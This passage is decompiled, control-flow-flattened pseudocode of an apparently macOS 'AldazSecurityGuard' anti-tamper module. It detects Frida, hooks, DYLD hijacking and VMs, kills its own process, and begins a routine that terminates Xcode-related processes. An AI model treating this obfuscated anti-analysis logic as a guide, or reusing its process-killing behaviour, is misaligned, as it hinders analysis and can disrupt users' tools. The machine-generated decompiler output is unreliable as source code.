case 0xC3153890:
v21 = &OBJC_CLASS___NSString;
*v41 = 1539584998;
break;
case 0xC7EECAC2:
dword_10029F2C8 = 1;
objc_retain(a4);
v10 = 1;
v8 = -940651838;
v11 = -333239383;
goto LABEL_220;
}
}
}
else if ( v28[0] > -541771143 )
{
if ( v28[0] > -333239384 )
{
switch ( v28[0] )
{
case 0xEC232BA9:
*v41 = 925880697;
break;
case 0xEE95B925:
v36 = v20 == 0;
v10 = 1;
v8 = -292177627;
v11 = -1754022255;
goto LABEL_220;
case 0xF6FEE0A0:
v7 = 1;
v8 = 1947646643;
v9 = 1377214512;
goto LABEL_224;
}
}
else
{
switch ( v28[0] )
{
case 0xDFB53A7A:
v7 = 1;
v8 = -1834606495;
v9 = 1367196474;
goto LABEL_224;
case 0xE0776ED2:
dword_10029F2C8 = 1;
objc_retain(a4);
*v41 = -940651838;
break;
case 0xEC1DAF3B:
v8 = 1738300573;
goto LABEL_226;
}
}
}
else if ( v28[0] > -738161896 )
{
switch ( v28[0] )
{
case 0xD4008B19:
*v41 = -1422520720;
break;
case 0xD7C610CA:
*v41 = 571374399;
break;
case 0xD83DDF63:
v10 = 1;
v23 = &OBJC_CLASS___NSString;
v24 = "stringWithFormat:";
v8 = -667033757;
v11 = 361227666;
goto LABEL_220;
}
}
else
{
switch ( v28[0] )
{
case 0xCF49417A:
v8 = 886756456;
goto LABEL_226;
case 0xCFAF39F5:
v10 = 0;
v8 = -1442410721;
v11 = -1614330267;
goto LABEL_220;
case 0xD0D5A58A:
v6 = HikariFunctionWrapper_2827((void *)0xFFFFFFFFFFFFFFFELL, a3);
v33 = v6 == 0;
v7 = 1;
v22 = v6;
v8 = 1959905721;
v9 = 1230463708;
goto LABEL_224;
}
}
}
if ( v28[0] <= -1658860656 )
break;
if ( v28[0] <= -1474480966 )
{
if ( v28[0] <= -1561642816 )
{
if ( v28[0] == -1658860655 )
{
*v41 = -1660299632;
v30 = v29;
}
else if ( v28[0] == -1614330267 )
{
asc_100266EB7[11] = v39;
asc_100266EB7[12] = 0;
qmemcpy(asc_100266E80, "Symbol %s hash mismatch", 23);
*v41 = -1442410721;
}
}
else
{
switch ( v28[0] )
{
case 0xA2EB38C1:
v10 = 0;
v8 = 271218372;
v11 = -1759978446;
goto LABEL_220;
case 0xA5D25E8B:
v10 = 0;
v8 = -1252559459;
v11 = 527689114;
goto LABEL_220;
case 0xA6D32239:
objc_msgSend(v31, v25, a4);
goto LABEL_145;
}
}
}
else if ( v28[0] > -1431064658 )
{
switch ( v28[0] )
{
case 0xAAB3AFAF:
v7 = 0;
v8 = -1195994930;
v9 = -1968538721;
goto LABEL_224;
case 0xAAC6C479:
v7 = 1;
v8 = 2129349934;
v9 = -1429814151;
goto LABEL_224;
case 0xAB360E70:
v10 = 1;
v8 = -1900950169;
v11 = -292177627;
goto LABEL_220;
}
}
else
{
switch ( v28[0] )
{
case 0xA81D34BB:
qmemcpy(asc_100266EB7, "%s not foun", 11);
v39 = 100;
*v41 = -810599947;
break;
case 0xAA068F1F:
v28[1] = 776536;
asc_100266EB7[11] = v39;
asc_100266EB7[12] = 0;
qmemcpy(asc_100266E80, "Symbol %s hash mismatch", 23);
v7 = 1;
v40 = 58;
v8 = 1285607215;
v9 = -1614330267;
goto LABEL_224;
case 0xAA62F61A:
objc_msgSend(a4, "length");
*v41 = 886756456;
break;
}
}
}
if ( v28[0] > -1759978447 )
break;
if ( v28[0] > -1873238141 )
{
switch ( v28[0] )
{
case 0x9058A784:
*v41 = -1561642815;
break;
case 0x92A62061:
v27 = dword_10029F2C8;
v8 = -1873238140;
goto LABEL_226;
case 0x93F3CF02:
*v41 = 994152434;
break;
}
}
else
{
switch ( v28[0] )
{
case 0x81802157:
v16 = HikariFunctionWrapper_2841(a1, "sha256OfMemory:length:");
objc_retainAutoreleasedReturnValue(v16);
*v41 = 2010346607;
break;
case 0x8AAA7B9F:
HikariFunctionWrapper_2835(CFSTR("D\x94\x06g\x0E<\a\xE5\x59\x99!\xB2x\x0F\v\xEA\x62\x27\xB4{[\xA5\x13.\xCE\x79hl"));
v10 = 0;
v8 = -5366751;
v11 = -1195994930;
goto LABEL_220;
case 0x8EB1CD67:
*v41 = -292177627;
break;
}
}
}
if ( v28[0] > -1687555429 )
break;
switch ( v28[0] )
{
case 0x9718DC32:
*v41 = 271218372;
break;
case 0x9773BE91:
*v41 = 195340313;
break;
case 0x9786D928:
*v41 = 1309980477;
break;
}
}
if ( v28[0] != -1687555428 )
break;
*v41 = -1512939893;
}
if ( v28[0] != -1659738041 )
break;
LABEL_145:
*v41 = 390493296;
}
}
while ( v28[0] != -1660299632 );
objc_release(v30);
objc_release(a4);
}
// 10004BCAC: variable 'v25' is possibly undefined
// 10004C0DB: variable 'v22' is possibly undefined
// 10004C21A: variable 'v26' is possibly undefined
// 10004C4D2: variable 'v27' is possibly undefined
// 10004C5A3: variable 'v23' is possibly undefined
// 10004C5A3: variable 'v24' is possibly undefined
// 10004D465: variable 'v21' is possibly undefined
// 10004D70C: variable 'v20' is possibly undefined
// 100266F30: using guessed type __CFString stru_100266F30;
// 100266FB0: using guessed type __CFString cfstr_Aw_2;
// 10029F2C8: using guessed type int dword_10029F2C8;
//----- (000000010004DCCD) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard registerDyldWatcher](id a1, SEL a2)
{
int v2; // ecx
int v3; // [rsp+4h] [rbp-Ch] BYREF
int *v4; // [rsp+8h] [rbp-8h]
_dyld_register_func_for_add_image((void (__cdecl *)(const mach_header *, intptr_t))image_added_callback);
v3 = 220665072;
v4 = &v3;
do
{
while ( 1 )
{
while ( v3 <= 1297261388 )
{
if ( v3 == -1544451110 )
{
*v4 = 1708142686;
}
else if ( v3 == 220665072 )
{
v2 = 1708142686;
goto LABEL_8;
}
}
if ( v3 != 1708142686 )
break;
v2 = 1297261389;
LABEL_8:
*v4 = v2;
}
}
while ( v3 != 1297261389 );
}
//----- (000000010004DDBF) ----------------------------------------------------
void __fastcall image_added_callback(const mach_header *a1)
{
int v1; // eax
bool v2; // zf
int v3; // ecx
char v4; // cf
int v5; // ecx
int v6; // ecx
__int64 v7; // [rsp+0h] [rbp-50h] BYREF
int v8; // [rsp+8h] [rbp-48h]
int v9; // [rsp+Ch] [rbp-44h] BYREF
Dl_info *v10; // [rsp+10h] [rbp-40h]
bool v11; // [rsp+1Eh] [rbp-32h]
bool v12; // [rsp+1Fh] [rbp-31h]
int *v13; // [rsp+20h] [rbp-30h]
v8 = 1537098043;
v9 = -1794466513;
v13 = &v9;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v9 > -36814106 )
{
if ( v9 <= 1097992944 )
{
if ( v9 > 552007292 )
{
switch ( v9 )
{
case 552007293:
*v13 = -1585033809;
break;
case 875360348:
*v13 = 1066572192;
break;
case 1066572192:
v2 = 0;
v1 = 1292506006;
v3 = 1709686527;
goto LABEL_65;
}
}
else
{
switch ( v9 )
{
case -36814105:
*v13 = -638663194;
break;
case 19057754:
HikariFunctionWrapper_2843((FILE *)v7);
v4 = 0;
v1 = 19057754;
v5 = -573647475;
LABEL_54:
if ( !v4 )
v1 = v5;
goto LABEL_67;
case 22245027:
*v13 = -1427522476;
break;
}
}
}
else if ( v9 <= 1292506005 )
{
switch ( v9 )
{
case 1097992945:
*v13 = 1182059714;
break;
case 1181656864:
v2 = 0;
v1 = 19057754;
v3 = -774625727;
LABEL_65:
if ( v2 )
v1 = v3;
LABEL_67:
*v13 = v1;
break;
case 1182059714:
v4 = 1;
v1 = -1155431357;
v5 = 1553464382;
goto LABEL_54;
}
}
else if ( v9 > 1687930687 )
{
if ( v9 == 1687930688 )
{
v1 = -1427522476;
if ( v12 )
v1 = -323949800;
goto LABEL_67;
}
if ( v9 == 1709686527 )
{
dladdr(a1, v10);
*v13 = 1292506006;
}
}
else
{
if ( v9 == 1292506006 )
{
v11 = dladdr(a1, v10) != 0;
v6 = 1097992945;
LABEL_52:
v1 = v6;
goto LABEL_67;
}
if ( v9 == 1553464382 )
*v13 = -1155431357;
}
}
if ( v9 > -774625728 )
break;
if ( v9 > -1479752373 )
{
switch ( v9 )
{
case -1479752372:
*v13 = -563241028;
break;
case -1427522476:
v1 = -563241028;
goto LABEL_67;
case -1155431357:
v4 = 1;
v12 = v11 && v10->dli_fname != 0;
v1 = 1687930688;
v5 = -1155431357;
goto LABEL_54;
}
}
else
{
switch ( v9 )
{
case -1978700432:
goto LABEL_28;
case -1794466513:
v2 = v8 == 794536988;
v1 = -1585033809;
v3 = 552007293;
goto LABEL_65;
case -1585033809:
v2 = 0;
v10 = (Dl_info *)(&v7 - 4);
v1 = 875360348;
v3 = -1585033809;
goto LABEL_65;
}
}
}
if ( v9 <= -323949801 )
break;
switch ( v9 )
{
case -323949800:
v7 = -1;
*v13 = 1181656864;
break;
case -273330016:
v6 = 22245027;
goto LABEL_52;
case -208787646:
LABEL_28:
*v13 = -273330016;
break;
}
}
if ( v9 <= -573647476 )
break;
if ( v9 == -573647475 )
{
*v13 = -1978700432;
}
else if ( v9 == -563241028 )
{
v1 = -36814105;
goto LABEL_67;
}
}
if ( v9 != -774625727 )
break;
HikariFunctionWrapper_2845((FILE *)v7);
*v13 = 19057754;
}
}
while ( v9 != -638663194 );
}
// 10004E2D3: conditional instruction was optimized away because cf.1==1
//----- (000000010004E395) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard runAllSecurityChecks](id a1, SEL a2)
{
int v2; // eax
bool v3; // zf
int v4; // ecx
char v5; // cf
int v6; // ecx
unsigned int v7; // r12d
char v8; // cf
int v9; // ecx
unsigned int v10; // r12d
int v11; // eax
const char *v12; // [rsp+8h] [rbp-58h]
int v13; // [rsp+10h] [rbp-50h]
int v14; // [rsp+14h] [rbp-4Ch]
int v15; // [rsp+18h] [rbp-48h]
int v16; // [rsp+1Ch] [rbp-44h] BYREF
SEL v17; // [rsp+20h] [rbp-40h]
__int16 v18; // [rsp+28h] [rbp-38h]
__int16 v19; // [rsp+2Ah] [rbp-36h]
bool v20; // [rsp+2Ch] [rbp-34h]
bool v21; // [rsp+2Dh] [rbp-33h]
bool v22; // [rsp+2Eh] [rbp-32h]
bool v23; // [rsp+2Fh] [rbp-31h]
int *v24; // [rsp+30h] [rbp-30h]
v13 = dword_10029F2D4;
v16 = 378136381;
v24 = &v16;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v16 <= 36965587 )
{
if ( v16 <= -1134023625 )
{
if ( v16 <= -1685527930 )
{
if ( v16 > -1921071730 )
{
if ( v16 <= -1782697576 )
{
if ( v16 == -1921071729 )
{
*v24 = 1087812979;
}
else if ( v16 == -1897127798 )
{
aDM[8] = v19 ^ 0x7E45;
aDM[9] = 32;
aDM[10] = 115;
aDM[11] = 111;
aDM[12] = 115;
aDM[13] = 112;
aDM[14] = 101;
aDM[15] = 99;
aDM[16] = 104;
aDM[17] = 111;
aDM[18] = 115;
aDM[19] = 97;
aDM[20] = 0;
strcpy(asc_100267130, "Frida server detectado");
asc_100265A26[0] = 65;
asc_100265A26[1] = 76;
asc_100265A26[2] = 69;
asc_100265A26[3] = 82;
asc_100265A26[4] = 84;
asc_100265A26[5] = 0;
strcpy(asc_100267030, "Comprobaciones finalizadas");
v5 = 0;
v2 = 50224533;
v6 = 220731829;
goto LABEL_206;
}
}
else
{
switch ( v16 )
{
case -1782697575:
HikariFunctionWrapper_2861(1);
*v24 = 1303286389;
break;
case -1760550268:
*v24 = -835976492;
break;
case -1755874739:
objc_msgSend(
a1,
v17,
CFSTR("ܐ\xFD\x84\xB8\xCB\x2A^O\x83l,\xD4\xF0\x14sMx)\xFA\x95\xC1\x34"),
CFSTR("\x04\xE8\xA2\xD0|L"));
v2 = 1935147289;
goto LABEL_212;
}
}
}
else if ( v16 <= -1989578748 )
{
if ( v16 == -2127151954 )
{
v5 = 1;
v2 = -1928326269;
v6 = -1680687084;
goto LABEL_206;
}
if ( v16 == -2117045557 )
{
v3 = 0;
v2 = -1782697575;
v4 = 1303286389;
goto LABEL_210;
}
}
else
{
switch ( v16 )
{
case -1989578747:
objc_msgSend(a1, "registerDyldWatcher");
objc_msgSend(
a1,
v17,
CFSTR("ڌ\xD0\x4F\xCA\x02\xA8\xE2\xE0\xE5\x1Bs\xE0\x49\xE2r\b\x83\xA4?\x0E]\x1E#6"),
CFSTR("aw\xC8\x2A"));
*v24 = 271951324;
break;
case -1957491354:
v3 = !v21;
v2 = 1231564354;
v4 = -387794251;
goto LABEL_210;
case -1928326269:
HikariFunctionWrapper_2851(0xFFFFFFFF);
v5 = 0;
v2 = -1680687084;
v6 = -942879256;
goto LABEL_206;
}
}
}
else if ( v16 <= -1525417012 )
{
if ( v16 <= -1675693730 )
{
if ( v16 == -1685527929 )
{
*v24 = -722571428;
}
else if ( v16 == -1680687084 )
{
HikariFunctionWrapper_2865(0xFFFFFFFF);
*v24 = -1928326269;
}
}
else
{
switch ( v16 )
{
case -1675693729:
v21 = v14 == 0;
v8 = 1;
v2 = -1675693729;
v9 = -1957491354;
goto LABEL_200;
case -1572282543:
v22 = v15 == 0;
v2 = 275637868;
goto LABEL_212;
case -1531777332:
+[NSThread sleepForTimeInterval:](&OBJC_CLASS___NSThread, "sleepForTimeInterval:", 2.0);
v7 = HikariFunctionWrapper_2863();
fflush((FILE *)0xFFFFFFFFFFFFFFFFLL);
syscall(37, v7, 9);
*v24 = 105902492;
break;
}
}
}
else if ( v16 > -1230579519 )
{
switch ( v16 )
{
case -1230579518:
v8 = 0;
v2 = -767695710;
LABEL_199:
v9 = -460047363;
LABEL_200:
if ( v8 )
v2 = v9;
goto LABEL_212;
case -1224021500:
*v24 = -1089299691;
break;
case -1140014463:
v8 = 0;
v2 = -1476555274;
v9 = -437900816;
goto LABEL_200;
}
}
else
{
switch ( v16 )
{
case -1525417011:
v8 = 0;
v2 = 105902492;
v9 = -1531777332;
goto LABEL_200;
case -1509043345:
LABEL_152:
*v24 = -1572282543;
break;
case -1476555274:
strcpy(asc_100267180, "Iniciando comprobaciones de seguridad");
aAw[0] = 73;
aAw[1] = 78;
aAw[2] = 70;
aAw[3] = 79;
aAw[4] = 0;
strcpy(asc_1002670E0, "STDOUT o STDERR redirigido a terminal.");
aDM[0] = 69;
aDM[1] = 106;
aDM[2] = 101;
aDM[3] = 99;
aDM[4] = 117;
aDM[5] = 99;
v3 = 0;
v18 = 105;
v2 = -437900816;
v4 = 1489320630;
goto LABEL_210;
}
}
}
else if ( v16 > -524624690 )
{
if ( v16 <= -380615780 )
{
if ( v16 <= -460047364 )
{
if ( v16 == -524624689 )
{
v5 = 1;
v2 = -357479412;
v6 = -524624689;
goto LABEL_206;
}
if ( v16 == -503600967 )
{
v5 = 0;
v2 = -503600967;
v6 = 1583810185;
goto LABEL_206;
}
}
else
{
switch ( v16 )
{
case -460047363:
HikariFunctionWrapper_2875(a1, v12);
objc_msgSend(a1, "checkMobileDeviceFunctionHooks");
objc_msgSend(a1, "checkFridaServerRunning");
*v24 = -767695710;
break;
case -437900816:
strcpy(asc_100267180, "Iniciando comprobaciones de seguridad");
aAw[0] = 73;
aAw[1] = 78;
aAw[2] = 70;
aAw[3] = 79;
aAw[4] = 0;
strcpy(asc_1002670E0, "STDOUT o STDERR redirigido a terminal.");
aDM[0] = 69;
aDM[1] = 106;
aDM[2] = 101;
aDM[3] = 99;
aDM[4] = 117;
aDM[5] = 99;
*v24 = -1476555274;
break;
case -387794251:
v3 = 0;
v2 = -380615779;
v4 = -631835037;
goto LABEL_210;
}
}
}
else if ( v16 > -189038615 )
{
switch ( v16 )
{
case -189038614:
v3 = 0;
v2 = 1376695115;
v4 = -1022312041;
goto LABEL_210;
case -139558486:
v5 = 0;
v2 = 133292691;
v6 = 1732708903;
LABEL_206:
if ( !v5 )
v2 = v6;
goto LABEL_212;
case -41651932:
*v24 = 1528301271;
break;
}
}
else
{
switch ( v16 )
{
case -380615779:
isatty(2);
*v24 = -631835037;
break;
case -374125511:
*v24 = 1250995567;
break;
case -357479412:
v3 = !v20;
v2 = -139558486;
v4 = -1140014463;
goto LABEL_210;
}
}
}
else if ( v16 <= -835976493 )
{
if ( v16 <= -1022312042 )
{
if ( v16 == -1134023624 )
{
LABEL_151:
*v24 = 451624554;
}
else if ( v16 == -1089299691 )
{
v8 = 0;
v2 = 1250995567;
v9 = -374125511;
goto LABEL_200;
}
}
else
{
switch ( v16 )
{
case -1022312041:
v17 = "logSecurityEvent:severity:";
objc_msgSend(
a1,
"logSecurityEvent:severity:",
CFSTR("[\x10\x11\x89s:\x17\x83!/֕\x0E\xA7V9`\xB4\xA8\xA9\x1Ex\x99\xDB\x31\xC1\xAF,\xEF\x72\x37\xD6\x6C\x91\xF5\xBE\xCF\x34"),
CFSTR("aw\xC8\x2A"));
HikariFunctionWrapper_2853(a1, "DumpDyldAndSymbolOwners");
objc_msgSend(a1, "disableConsoleOutput");
HikariFunctionWrapper_2855(a1, "checkDYLDHijacking");
objc_msgSend(a1, "checkLoadedLibraries");
objc_msgSend(a1, "checkRuntimeMethodTampering");
HikariFunctionWrapper_2857(a1, "checkCriticalObjCMethodHooks");
objc_msgSend(a1, "checkObjCHooks");
v3 = 0;
v2 = 1376695115;
v4 = 319063960;
goto LABEL_210;
case -942879256:
*v24 = -726779938;
break;
case -941760789:
v5 = 1;
v2 = -524624689;
v6 = 399573073;
goto LABEL_206;
}
}
}
else if ( v16 > -722571429 )
{
switch ( v16 )
{
case -722571428:
v8 = 1;
v2 = 50224533;
v9 = -1897127798;
goto LABEL_200;
case -631835037:
v15 = isatty(2);
v2 = -1760550268;
goto LABEL_212;
case -547607146:
*v24 = -941760789;
break;
}
}
else
{
switch ( v16 )
{
case -835976492:
goto LABEL_152;
case -767695710:
objc_msgSend(a1, v12);
HikariFunctionWrapper_2859(a1, "checkMobileDeviceFunctionHooks");
v23 = (unsigned __int8)objc_msgSend(a1, "checkFridaServerRunning") == 0;
v8 = 0;
v2 = 965383213;
goto LABEL_199;
case -726779938:
v2 = -503600967;
goto LABEL_212;
}
}
}
if ( v16 <= 1033782580 )
break;
if ( v16 > 1528301270 )
{
if ( v16 <= 1780006765 )
{
if ( v16 <= 1622822021 )
{
if ( v16 == 1528301271 )
{
objc_msgSend(a1, "checkSandboxOrVM");
*v24 = -1989578747;
}
else if ( v16 == 1583810185 )
{
LABEL_141:
*v24 = -2127151954;
}
}
else
{
switch ( v16 )
{
case 1622822022:
*v24 = -1675693729;
break;
case 1682082164:
objc_msgSend(
a1,
v17,
CFSTR("ܐ\xFD\x84\xB8\xCB\x2A^O\x83l,\xD4\xF0\x14sMx)\xFA\x95\xC1\x34"),
CFSTR("\x04\xE8\xA2\xD0|L"));
*v24 = -1755874739;
break;
case 1732708903:
dword_10029F2D4 = 1;
*v24 = 338254878;
break;
}
}
}
else if ( v16 > 1904972911 )
{
switch ( v16 )
{
case 1904972912:
*v24 = 2033491501;
break;
case 1935147289:
*v24 = 36965588;
break;
case 2033491501:
v8 = 0;
v2 = -41651932;
LABEL_174:
v9 = 1904972912;
goto LABEL_200;
}
}
else
{
switch ( v16 )
{
case 1780006766:
v20 = v13 == 0;
v2 = -547607146;
goto LABEL_212;
case 1860596348:
LABEL_159:
*v24 = 1485515810;
break;
case 1888119107:
*v24 = 44163808;
break;
}
}
}
else if ( v16 <= 1301902261 )
{
if ( v16 <= 1090274920 )
{
if ( v16 == 1033782581 )
{
v5 = 0;
v2 = -1921071729;
v6 = 1087812979;
goto LABEL_206;
}
if ( v16 == 1087812979 )
{
v12 = "checkLibcFunctionHooks";
v2 = 1423740987;
goto LABEL_212;
}
}
else
{
switch ( v16 )
{
case 1090274921:
aDM[6] = v18;
aDM[7] = 243;
goto LABEL_159;
case 1231564354:
HikariFunctionWrapper_2847(
CFSTR("⏜\uA9DBდ쩵椊溱㰑败╯⌇羶즣떊㜴\uFAFCମᅳ溿⹗"),
CFSTR("\x96\x9D\v\xC6\xC3\xA8\x87\xD9\x68a|'Y\xEB\x86\x10=\x01\x00<\x92\xA0\xF2\xFE\xC6\x85\x93\xCF\x4E\xA7\x99I\xDA\xE8\xF8¿%"));
*v24 = -1525417011;
break;
case 1250995567:
v3 = 0;
v2 = 1250995567;
v4 = 1301902262;
goto LABEL_210;
}
}
}
else if ( v16 > 1423740986 )
{
switch ( v16 )
{
case 1423740987:
*v24 = -1230579518;
break;
case 1485515810:
v8 = 0;
aDM[6] = v18;
aDM[7] = 243;
v19 = 32299;
v2 = -1685527929;
v9 = 1090274921;
goto LABEL_200;
case 1489320630:
*v24 = 1860596348;
break;
}
}
else
{
switch ( v16 )
{
case 1301902262:
goto LABEL_141;
case 1303286389:
v11 = isatty(1);
v5 = 0;
v14 = v11;
v2 = -1782697575;
v6 = 1888119107;
goto LABEL_206;
case 1376695115:
objc_msgSend(
a1,
"logSecurityEvent:severity:",
CFSTR("[\x10\x11\x89s:\x17\x83!/֕\x0E\xA7V9`\xB4\xA8\xA9\x1Ex\x99\xDB\x31\xC1\xAF,\xEF\x72\x37\xD6\x6C\x91\xF5\xBE\xCF\x34"),
CFSTR("aw\xC8\x2A"));
objc_msgSend(a1, "DumpDyldAndSymbolOwners");
HikariFunctionWrapper_2867(a1, "disableConsoleOutput");
HikariFunctionWrapper_2869(a1, "checkDYLDHijacking");
objc_msgSend(a1, "checkLoadedLibraries");
HikariFunctionWrapper_2871(a1, "checkRuntimeMethodTampering");
HikariFunctionWrapper_2873(a1, "checkCriticalObjCMethodHooks");
objc_msgSend(a1, "checkObjCHooks");
*v24 = -1022312041;
break;
}
}
}
if ( v16 > 338254877 )
break;
if ( v16 <= 105902491 )
{
if ( v16 <= 43168229 )
{
if ( v16 == 36965588 )
{
v8 = 0;
v2 = 2033491501;
goto LABEL_174;
}
if ( v16 == 38810613 )
{
v8 = 0;
v2 = 800083214;
v9 = 38810613;
goto LABEL_200;
}
}
else
{
switch ( v16 )
{
case 43168230:
v2 = -1755874739;
goto LABEL_212;
case 44163808:
v5 = 1;
v2 = -1675693729;
v6 = 1622822022;
goto LABEL_206;
case 50224533:
aDM[8] = v19 ^ 0x7E45;
aDM[9] = 32;
aDM[10] = 115;
aDM[11] = 111;
aDM[12] = 115;
aDM[13] = 112;
aDM[14] = 101;
aDM[15] = 99;
aDM[16] = 104;
aDM[17] = 111;
aDM[18] = 115;
aDM[19] = 97;
aDM[20] = 0;
strcpy(asc_100267130, "Frida server detectado");
asc_100265A26[0] = 65;
asc_100265A26[1] = 76;
asc_100265A26[2] = 69;
asc_100265A26[3] = 82;
asc_100265A26[4] = 84;
asc_100265A26[5] = 0;
strcpy(asc_100267030, "Comprobaciones finalizadas");
*v24 = -1897127798;
break;
}
}
}
else if ( v16 > 271951323 )
{
switch ( v16 )
{
case 271951324:
goto LABEL_151;
case 275637868:
*v24 = 958669458;
break;
case 319063960:
*v24 = 1033782581;
break;
}
}
else
{
switch ( v16 )
{
case 105902492:
HikariFunctionWrapper_2849(&OBJC_CLASS___NSThread, "sleepForTimeInterval:");
v10 = getpid();
fflush((FILE *)0xFFFFFFFFFFFFFFFFLL);
syscall(37, v10, 9, 2.0);
v5 = 1;
v2 = -1224021500;
v6 = 105902492;
goto LABEL_206;
case 133292691:
dword_10029F2D4 = 1;
*v24 = 1732708903;
break;
case 220731829:
*v24 = -139558486;
break;
}
}
}
if ( v16 <= 800083213 )
break;
if ( v16 <= 958669457 )
{
if ( v16 == 800083214 )
{
v3 = !v22;
v2 = 1231564354;
v4 = -189038614;
LABEL_210:
if ( !v3 )
v2 = v4;
LABEL_212:
*v24 = v2;
}
else if ( v16 == 908257911 )
{
*v24 = -503600967;
}
}
else
{
switch ( v16 )
{
case 958669458:
v2 = 38810613;
goto LABEL_212;
case 965383213:
v3 = !v23;
v2 = 43168230;
v4 = 1528301271;
goto LABEL_210;
case 998911996:
*v24 = 38810613;
break;
}
}
}
if ( v16 <= 399573072 )
break;
switch ( v16 )
{
case 399573073:
*v24 = -524624689;
break;
case 451624554:
v8 = 1;
v2 = -1134023624;
v9 = 374225800;
goto LABEL_200;
case 739493493:
*v24 = 1780006766;
break;
}
}
if ( v16 != 338254878 )
break;
*v24 = -2117045557;
}
if ( v16 == 378136381 )
{
v3 = 0;
v2 = 739493493;
v4 = 1780006766;
goto LABEL_210;
}
}
while ( v16 != 374225800 );
}
// 100050002: variable 'v14' is possibly undefined
// 100050102: variable 'v12' is possibly undefined
// 10005019D: variable 'v15' is possibly undefined
// 100267080: using guessed type __int16 aDM[21];
// 1002671D0: using guessed type __CFString stru_1002671D0;
// 100267210: using guessed type __CFString stru_100267210;
// 100267250: using guessed type __CFString cfstr_Aw_3;
// 100267290: using guessed type __CFString stru_100267290;
// 1002672D0: using guessed type __CFString stru_1002672D0;
// 100267310: using guessed type __CFString stru_100267310;
// 100267350: using guessed type __CFString cfstr_DM;
// 10029F2D4: using guessed type int dword_10029F2D4;
//----- (0000000100050EB0) ----------------------------------------------------
__int64 AldazSecurityGuard_early_init()
{
__int64 result; // rax
int v1; // eax
char v2; // cf
void *context; // [rsp+0h] [rbp-60h]
__objc2_class *v4; // [rsp+8h] [rbp-58h]
const char *v5; // [rsp+10h] [rbp-50h]
__objc2_class *v6; // [rsp+18h] [rbp-48h]
const char *v7; // [rsp+20h] [rbp-40h]
int v8; // [rsp+2Ch] [rbp-34h] BYREF
int *v9; // [rsp+30h] [rbp-30h]
v8 = -18242766;
v9 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v8;
if ( v8 <= -235680792 )
break;
if ( v8 > 73233227 )
{
switch ( v8 )
{
case 73233228:
objc_msgSend(v4, v5);
*v9 = -1306751871;
break;
case 587244821:
*v9 = -739885076;
break;
case 1980097272:
objc_msgSend(v6, v7);
objc_autoreleasePoolPop(context);
v2 = 1;
v1 = -1088079958;
goto LABEL_20;
}
}
else
{
switch ( v8 )
{
case -235680791:
context = objc_autoreleasePoolPush();
HikariFunctionWrapper_2877(&OBJC_CLASS___AldazSecurityGuard, "DumpDyldAndSymbolOwners");
HikariFunctionWrapper_2879(&OBJC_CLASS___AldazSecurityGuard, "checkDYLDHijacking");
v4 = &OBJC_CLASS___AldazSecurityGuard;
v5 = "checkLoadedLibraries";
v1 = -1321409050;
goto LABEL_28;
case -90789758:
objc_msgSend(v6, v7);
objc_autoreleasePoolPop(context);
*v9 = 1980097272;
break;
case -18242766:
v1 = -235680791;
goto LABEL_28;
}
}
}
if ( v8 > -1306751872 )
break;
switch ( v8 )
{
case -1716219163:
objc_autoreleasePoolPush();
HikariFunctionWrapper_2881(&OBJC_CLASS___AldazSecurityGuard, "DumpDyldAndSymbolOwners");
+[AldazSecurityGuard checkDYLDHijacking](&OBJC_CLASS___AldazSecurityGuard, "checkDYLDHijacking");
*v9 = -235680791;
break;
case -1499172539:
v1 = -1306751871;
goto LABEL_28;
case -1321409050:
*v9 = -1499172539;
break;
}
}
if ( v8 == -1306751871 )
{
objc_msgSend(v4, v5);
v6 = &OBJC_CLASS___AldazSecurityGuard;
v7 = "registerDyldWatcher";
v1 = 587244821;
goto LABEL_28;
}
if ( v8 != -739885076 )
break;
v2 = 0;
v1 = -90789758;
LABEL_20:
if ( !v2 )
v1 = 1980097272;
LABEL_28:
*v9 = v1;
}
}
while ( v8 != -1088079958 );
return result;
}
// 100050F51: conditional instruction was optimized away because %var_38.4==6A9630AE
// 10005116F: conditional instruction was optimized away because r15d.4==0
// 100050FD8: variable 'v6' is possibly undefined
// 100050FD8: variable 'v7' is possibly undefined
// 100050FDE: variable 'context' is possibly undefined
// 100051105: variable 'v4' is possibly undefined
// 100051105: variable 'v5' is possibly undefined
// 100055120: using guessed type __int64 __fastcall HikariFunctionWrapper_2877(_QWORD, _QWORD);
// 100055140: using guessed type __int64 __fastcall HikariFunctionWrapper_2879(_QWORD, _QWORD);
// 100055160: using guessed type __int64 __fastcall HikariFunctionWrapper_2881(_QWORD, _QWORD);
// 10025F8E0: using guessed type __objc2_class OBJC_CLASS___AldazSecurityGuard;
//----- (00000001000511F3) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard terminateXcodeProcessesExcludingXcodeAndSelf](id a1, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // cf
int v6; // ecx
id v7; // rax
id v8; // rax
id v9; // rax
bool v10; // zf
int v11; // ecx
id v12; // rax
id v13; // rax
bool v14; // zf
int v15; // ecx
id v16; // rax
id v17; // rax
NSString *v18; // rax
NSString *v19; // r14
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // rax
id v24; // rax
id v25; // rax
NSCharacterSet *v26; // rax
NSCharacterSet *v27; // rbx
id v28; // rax
__int64 *v29; // rax
id v30; // rax
id v31; // rbx
id v32; // rax
id v33; // rax
id v34; // rax
int v35; // eax
int v36; // eax
id v37; // rax
id v38; // rax
id v39; // rax
id v40; // rax
id v41; // rax
__int64 v42; // [rsp+0h] [rbp-180h] BYREF
id v43; // [rsp+8h] [rbp-178h]
__int64 v44; // [rsp+10h] [rbp-170h]
__int64 *v45; // [rsp+18h] [rbp-168h]
__int64 v46; // [rsp+20h] [rbp-160h]
id v47; // [rsp+28h] [rbp-158h]
id v48; // [rsp+30h] [rbp-150h]
SEL v49; // [rsp+38h] [rbp-148h]
SEL v50; // [rsp+40h] [rbp-140h]
SEL v51; // [rsp+48h] [rbp-138h]
id v52; // [rsp+50h] [rbp-130h]
SEL v53; // [rsp+58h] [rbp-128h]
SEL v54; // [rsp+60h] [rbp-120h]
SEL v55; // [rsp+68h] [rbp-118h]
SEL v56; // [rsp+70h] [rbp-110h]
__int64 **v57; // [rsp+78h] [rbp-108h]
